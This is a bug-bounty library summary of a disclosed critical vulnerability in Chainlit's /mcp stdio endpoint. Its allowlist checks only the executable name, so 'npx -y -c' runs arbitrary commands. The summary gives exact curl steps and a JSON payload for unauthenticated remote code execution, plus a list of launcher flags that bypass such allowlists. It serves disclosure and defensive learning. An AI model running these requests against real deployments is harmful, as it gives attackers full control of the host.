# Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution

Chainlit's /mcp stdio endpoint validated only the executable name, so `npx -y -c 'cmd'` passed the allowlist and ran arbitrary OS commands unauthenticated.

- Payout: Research
- Severity: critical
- Program: Chainlit
- Found by: qvipin, ladderlogix
- Disclosed: 2026-08-25
- CVE: CVE-2026-45018
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w3fx-mc44-mf6j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w3fx-mc44-mf6j
- Tags: area:ai domain:ai domain:web impact:rce kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** POST /mcp stdio transport endpoint (FastAPI/Socket.IO app)
**Root cause:** validate_mcp_command() shlex-splits the client-supplied fullCommand and checks only the executable name against allowed_executables, passing arguments unchecked to StdioServerParameters; npx's -c flag then executes arbitrary shell. allowed_executables defaulting to None is treated as allow-all.
**Steps:**
1. Open a Socket.IO session to obtain a sid: `curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling'` and parse `sid` from the response.
2. Register a session: `curl -s -X POST "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'`
3. POST to `/mcp` with `{"sessionId":"rce-proof","clientType":"stdio","name":"poc","fullCommand":"npx -y -c 'id > /tmp/rce_proof'"}`
4. Command executes before the MCP handshake fails; verify output in /tmp/rce_proof.
**How found:** Code review of validate_mcp_command(): noticed shlex.split() validation covers only argv[0] while arguments flow untouched into subprocess spawning, then identified npx -c as an allowlisted binary that itself executes shell commands.
**Exploitation:** Unauthenticated attacker reaches /mcp, passes the executable allowlist with `npx`, and uses `-c` to run an arbitrary shell command as the Chainlit process user, yielding full host control.
**Insight:** When an allowlist validates only the executable name, look for allowlisted launchers that take code-execution flags (npx -c, uvx, python -c, node -e, sh -c); also check whether a None default for the allowlist is treated as allow-all.

